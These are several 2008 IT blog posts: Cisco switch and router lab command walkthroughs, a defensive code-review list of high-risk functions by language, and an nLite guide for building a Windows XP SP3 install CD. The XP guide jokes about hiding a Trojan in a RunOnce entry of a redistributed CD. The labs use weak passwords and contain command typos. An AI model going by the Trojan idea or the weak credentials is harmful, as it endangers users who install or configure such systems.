5. switch: reset ;Restart the switch

6. Would you like to enter the initial configuration dialog? [yes/no]: n

7. Enter the privilege EXEC mode

8. Switch# copy config_old.txt running-config ;copy the old configuration settings to running config, then we wouldn't lose the old settings.

9. Switch# conf t

10. Switch(config)#enable password cisco ;Setup a new password

11. Switch(config)#enable secret cisco12345

12. Switch(config)#exit

13. Switch#wirte ;Save the new password to the start-up config

14. Switch# reload ;Restart the switch

-------------------------------------------

1. For more information, please visit my blog http://jhuang8.blogspot.com/.

2. Video demo is located in http://www.valit.ca/lab/.

Lab 1 Router Basic commands

2008-12-28T14:51:00.000-08:00

Lab Section: Router and Routing Protocol
Lab Title: Router Basic commands

Purpose:
1. Understand the basic commands of Cisco Router.
Preparation:
1. What’s User EXEC Mode, Privileged EXEC Mode and Global Configuration Mode
2. The difference between running-config and startup-config.
3. ROM, RAM, Flash and NVRAM
4. The difference of “exit” and “end”.
5. Commands: enable, configure, exit, end, show, ?, copy, hostname, banner, interface, line console, line vty, no, etc.

Procedure:
1. Task 1: Connect Router to PC through RS232.

2. Task 2: Commands: enable, show, clock:
1) Router>enable
2) Router# show version
3) Router# show clock
4) Router# clock set 10:11:00 Dec 22 2008
5) Router# show clock

3. Task 3: Setup hostname and banner:
1) Router# conf ig terminal
2) Router(config)# enable password cisco
3) Router(config)# enable secret cisco12345
4) Router(config)# hostname R2600
5) R2600(config)# banner ?
6) R2600(config)# Banner motd $ Welcome to Value IT virtual Lab$
7) R2600(config)# exit

4. Task 4: Setup Interface:
1) R2600# show running-configure
2) R2600# conf t
3) R2600(config)# interface fastEthernet 0/0
4) R2600(config-if)# description Management
5) R2600(config-if)# no shutdwon
6) R2600(config-if)# exit
7) R2600(config)# interface FastEthernet 0/1
8) R2600(config-if)# description IT Security
9) R2600(config-if)# no shutdown
10) R2600(config)# end

5. Task 5: Setup Console:
1) R2600# conf t
2) R2600(config)# line console 0
3) R2600(config-line)# login
4) R2600(config-line)# password cisco
5) R2600(config-line)# exec-timeout 0 0
6) R2600(config-line)# logging synchronous
7) R2600(config-line)# end

6. Task 6: Copy current config to start config, and verify the banner and password
1) R2600# copy running-config startup-config
2) R2600# exit
3) Press Enter key to reenter the router, check the banner, you’ll need password to get into user exec mode.

-------------------------------------------
1. For more information, please visit my blog http://jhuang8.blogspot.com/.
2. Video demo is located in http://www.valit.ca/lab/.

Code review – what functions cause problems?

2008-11-30T04:08:00.000-08:00

You never have enough time to do Code Review if you try to walk trough every functions, instead, we can focus on the “high risk” functions that hackers have been known to take advantage of Web application.

The common potential problem areas are:

1. User input;

2. The third party input that from other untrusted sources, such as external database;

3. The output. For example, the error message may reveal too much information, or a poorly coded application may insert tainted SQL data into a database, which your application would be potentially use it.

Here is the list of “high risk” functions:

1. Buffer overflow

When a particular function/operation writes more data into a variable than the variable was designed to hold, the result is buffer overflow. Fortunately, this only occurs on the languages that must predeclare their variable storage size, such as C and C++. ASP, Perl, and Python all have dynamic variable allocation, which means they can interpreter themselves handle the variable size.

For C/C++, the “high risk” functions are:

(1) str* family: strcpy(), strcat(), strcadd(), strccpy(), streadd(), strecpy(), strtrns(). We should avoid to use these functions

(2) strn* family: strncpy(), strncat(), and so on. This is a safer alternative to the str* family. The strn* family is essentially the same as the str* family except it allow you to specify a maximum length. So we only need to make sure that the specified maximum value is equal or less than the destination variable size.

(3) memcpy(), bcopy(), memccpy(), memmove().

(4) sprintf(), snprintf(), vsprintf(), vsnprintf(), swprintf(), vswprintf().

(5) gets(), fgets().

(6) getc(), fgetc(), getchar(), read().

2. Cross-Site Scripting (XSS)

XSS is in fact a subset of HTML injection. It allows attackers to execute the script in the victim’s browser, which can hijack user sessions, deface web sites, insert hostile content, conduct phishing etc.

Looking for XSS vulnerabilities is tough; the best place to start is with the common output functions used by the language:

(1) C/C++: printf(), fprintf(), output streams, and so on.

(2) Java: Don’t use

(3) .NET: the better way is to use the Microsoft Anti-XSS Library freely available from MSDN.

(4) ASP: Response.Write, Response.BinaryWrite,

(5) Perl: print, printf, syswrite.

(6) PHP: print, printf, echo.

3. Information Disclosure

This is not a technical problem, it is quite possible that the application may provide some information that can be used by attackers. For example, developer may insert some output for debug purpose and forget to delete it.

We need to review all the output functions of the language with:

(1) Printing sensitive information (passwords, credit card numbers) in full display.

(2) Displaying application configuration, server configuration information, environment variables, and so on.

(3) Revealing too much information in error message. For example, failed database connections typically spit out connection details that include database host address, authentication details and target tables; failed file inclusion may disclose file paths, which allows attackers to determine the layout of application.

(4) Avoiding the use of public debugging mechanisms in production applications. The better way is to write debugging information to a log on the application server.

4. File system access/interaction

We need to check where, when and how a web application accesses the local file system on the server, the danger lies in using filenames that may contain tainted data.

(1) C/C++: open(), fopen(), create(), mknod(), catopen(), dbm_open(), opendir(), unlink(), link(), chmod(), stat(), lstat(), mkdir(), readlink(), rename(), rmdir(), symlink(), chdir(), chroot(), utime(), truncate(), glob().

(2) ASP: Server.CreateObject() that create Scripting.FileSystemObject objects.

(3) Perl: chmod, chown, link, lstat, mkdir, readlink, rename, rmdir, stat, symlink, truncate, unlink, utime, chdir, chroot, dbmopen, open, sysopen, opendir, glob.

(4) PHP: opendir(), chdir(), dir(), chgrp(), chmod(), chown(), copy(), file(), fopen(), get_meta_tags(), link(), mkdir(), readfile(), rename(), rmdir(), symlink(), unlink(), gafile(), gzopen(), readgz-file(), fdf_add_template(), fdf_open(), fdf_save().

(5) Java: java.io.*, java.util.zip.*, java.util.jar

(6) JSP: < %@include file=’filename’% >

(7) ColdFusion: CFFile, CFInclude tags.

5. Calling External Programs

Calling external programs is danger, if tainted user data is included within the call, an attacker could trick the command processor into executing additional commands, or changing the intended command.

(1) C/C++: exec* family, exec(), execv(), execve(), and so on.

(2) Perl: exec,’’(backticks), qx//, and <> (the globbing function).

(3) PHP: fopen(), popen(), exec(), passthru(), system().

(4) Python: os.exec* family, os.exec, os.execve, os.execle, os.execlp, os.execvp, os.execvpe, os.popen, os.system.

(5) Java: Runtime.exec().

(6) ColdFustion: CFExecute, CFServlet tags.

6. Dynamic code execution

Some languages contain mechanisms to interpret and run native scripting code, the advantage is that allows the program to “build” a subprogram dynamically, and user can input fragment script code. However, it opens a door to the attacker who may insert his own script code to be compiled and executed.

(1) Perl: eval function, do, and any regex operation with the e modifier.

(2) Python: exec, compile, eval, execfile, input.

(3) ASP: Eval, Execute, ExecuteGlobal.

7. External objects/Libraries

Including or loading libraries is helpful in making the design of a program easier. However, you need to make sure that all external library loading routines do not user any sort of tainted data, an attacker could coerce your program into loading an alternate library, which could provide him an advantage.

(1) Perl: import, require, use, do.

(2) Python: import, _import_.

(3) ASP: Server.CreateObject(), tag in global.asa.

(4) JSP: jsp:useBean.

(5) Java: URLClassLoader, JarURLConnection from the java.net package; ClassLoader, Runtime.load, Runtime.loadLibrary, System.load, and System.loadLibrary from the java.lang package.

(6) ColdFusion: CFObject.

8. Structured Query Language/Database Queries

The two problem areas are:

(1) Connection setup: the connection usually contains authentication information, such as user name, password, database server etc. this information should be considered sensitive and need to be well protected.

(2) Tampering with queries: when inserted into a SQL query, an attacker could submit data that could trick the database server into executing different queries than the one intended.

The following list of functions and commands could lead you to these potential problems:

(1) PHP: ifx_connect(), ifx_pconnect(), ifx_prepare(), ifx_query(), msql_connect(), msql_pconnect(), msql_db_query(), msql_query(), mysql_connect(), mysql_db_query(), mysql_pconnect(), mysql_query(), odbc_exec(), odbc_pconnect(), odbc_prepare(), ora_logon(), ora_open(), ora_parse(), ora_plogon(), OCILogon(), OCIParse(), OCIPLogon(), pg_connect(), pg_exec(), pg_pconnect(), Sybase_connect(), Sybase_pconnect(), Sybase_query().

(2) ASP: ADODB.* objects.

(3) Java: createStatement() and execute() methods in java.sql module.

(4) Perl: DB::* modules

(5) ColdFusion: CFInsert, CFQuery, CFUpdate tags.

9. Networking and communication streams

The outgoing and incoming network connection and communication stream used by the program is a potential security hole. For example, your application may make an FTP connection to a particular server to retrieve a file, or may set up a listening server processes to answer incoming network connections. It is very important to make sure not to allow a remote attacker to compromise the server.

The following list of functions allows your application to establish or use network and communication streams:

(1) Perl and C/C++: connect, accept.

(2) PHP: imap_open, imap_popen, ldap_connect, ldap_add, mcal_open, fsockopen, pfsockopen, ftp_connect, ftp_login, mail.

(3) Python: socket.*, urllib.*, ftplib.* modules.

(4) ASP: CDONTS.* objects, CDONTS.Attachment, CDONTS.NewMail, AttachFile and AttachURL methods.

(5) Java: ServerSocket in java.net.*, java.rmi.*.

(6) ColdFusion: CFFTP, CFHTTP, CFLDAP, CFMail, CFPOP tags.

References:

1. Michael Cross, “Developer’s Guide to Web Application Security”, ISBN-10 1-59749-061-X

2. OWASP TOP 10, 2007, http://www.owasp.org

Make your own Windows XP SP3 plus IE7 and WMP11 installation CD

2008-11-22T20:16:00.000-08:00

Recently I need to reinstall Windows XP. I know it will take some times to install services packs and IE7, Windows Media Player etc. Is it possible to make a CD that includes these things, so I won’t be bothered by installing them after finish the Windows XP installation?

Preparation:

a. My original Win XP CD and product key;

b. Nlite 1.4.9.1 (http://www.nliteos.com/)

c. Windows Media Player 11 Slipstreamer (http://www.boooggy.org/slipstreamer/)

d. IE7 installer and service packs:

IE7-WindowsXP-KB938127-v2-x86-ENU.exe
IE7-WindowsXP-KB956390-x86-ENU.exe

e. Windows Media Player 11 installer and service packs:

WindowsMedia11-KB929399-v2-x86-INTL.exe
WindowsMedia11-KB936782-x86-ENU.exe
WindowsMedia11-KB939683-x86-ENU.exe
WindowsMedia11-KB954154-x86-ENU.exe

f. Windows XP sp3 and the latest service pack(before Nov 21^st, 2008):

WindowsXP-KB936929-SP3-x86-ENU.exe
WindowsXP-KB938464-x86-ENU.exe
WindowsXP-KB941569-x86-ENU.EXE
WindowsXP-KB944043-v3-x86-ENU.exe
WindowsXP-KB946648-x86-ENU.exe
WindowsXP-KB950582-x86-ENU.exe
WindowsXP-KB950760-x86-ENU.exe
WindowsXP-KB950762-x86-ENU.exe
WindowsXP-KB950974-x86-ENU.exe
WindowsXP-KB951066-x86-ENU.exe
WindowsXP-KB951072-v2-x86-ENU.exe
WindowsXP-KB951376-v2-x86-ENU.exe
WindowsXP-KB951698-x86-ENU.exe
WindowsXP-KB951748-x86-ENU.exe
WindowsXP-KB951830-x86-ENU.exe
WindowsXP-KB951978-x86-ENU.exe
WindowsXP-KB952287-x86-ENU.exe
WindowsXP-KB952954-x86-ENU.exe
WindowsXP-KB953155-x86-ENU.exe
WindowsXP-KB953839-x86-ENU.exe
WindowsXP-KB954459-x86-ENU.exe
WindowsXP-KB955069-x86-ENU.exe
WindowsXP-KB956391-x86-ENU.exe
WindowsXP-KB956803-x86-ENU.exe
WindowsXP-KB957095-x86-ENU.exe
WindowsXP-KB957097-x86-ENU.exe
WindowsXP-KB958644-x86-ENU.exe

Here’s what I’ve done:

1. Install Nlite and Wmp11 slipstreamer, you may need to install .NET Framework V2.0 first.

2. Copy all the files in your Win XP CD to a folder, let’s assume it is c:\winxpSp3

3. Run Nlite, in the welcome page, select language.

4. Locate the XP distribution folder, in this example, it is c:\winxpSp3, Nlite will detect the language, service pack, and version of your Win XP

5. In “Presets” window, use one of the previous settings (if you have) or just click “next” button.

6. In “Task Selection” window, click “All” button, then click “Drivers” button, which means I don’t integrate particular drivers to this CD, because I may use this CD to install my uncle’s computer that has different video card and sound card.

7. In “Service Pack” window, select the sp3 file “WindowsXP-KB936929-SP3-x86-ENU.exe”，Nlite will automatically extract and integrate sp3 to the xp distribution folder(c:\winxpSp3).

After the integration, the version number has been changed.

8. In “Hotfixes, Add-ons” window, insert all the hotfixes, be careful the sequence of the hot fixes, I failed several times because of this, you should put IE7 installer first, then IE7’s 2 hot fixes, and small number is first, KB938127 then KB956390, it may cause some problems if KB956390 is ahead. Use the small green button that locate on the right side to adjust the sequence; then add windows media play and its hotfixes and all the xp service packs, check the sequence as well. Finally, you should get something like this:

9. In “Components” window, I simply selected “Movie Maker” and “Music Samples” because I never use them. You can remove more unused components if you want to.

10. In “Unattended” window, you can provide answers to all of the questions that xp normally asks during the installation.
In “General” tab, enter the Product key, I also turn off firewall and Hibernate because I have Symantec firewall and I think Hibernate is useless.

11. In “RunOnce” tab, you can add some commands here, and they will be executed on first user logon. Think about this, if I put a Trojan horse here, and release this combination CD to Internet, someone download and install it, what happens? Haha, you’re on my control.

12. In “Users” tab, enter password for Administrator. I also added a user for daily uses, it is not good to log on as administrator all the time.

13. In “Regional” tab, select the Time zone.

14. Work through all tabs and make adjustments if needed

15. In “Options” window, I only changed the “TCP/IP patch” to 100, it will certainly speed up my emule and BT.

16. In “Tweaks” window, I selected to show “My document icon” and “My computer icon” on desktop; there’re so many items you can select.

17. After finish all the settings, Nlite will start the process

18. When the process go through Windows media Player installer, Nlite will automatically run wmp11 slipstreamer to extract and integrate wmp11 to distribution folder.

19. Next window is making Bootable ISO, you can either create image or burn it directly, I suggest creating an image, and then you can test it using Vmware or Virtual PC. Enter a label name, click “Make ISO”, select the location of ISO file.

20. Now you have a bootable ISO image of Windows XP SP3+IE7+WMP11! Before you burn a CD with this image, you’d better test it with Vmware or Virtual PC, because exception is not predictable, install it in a Virtual machine, and see if it runs well.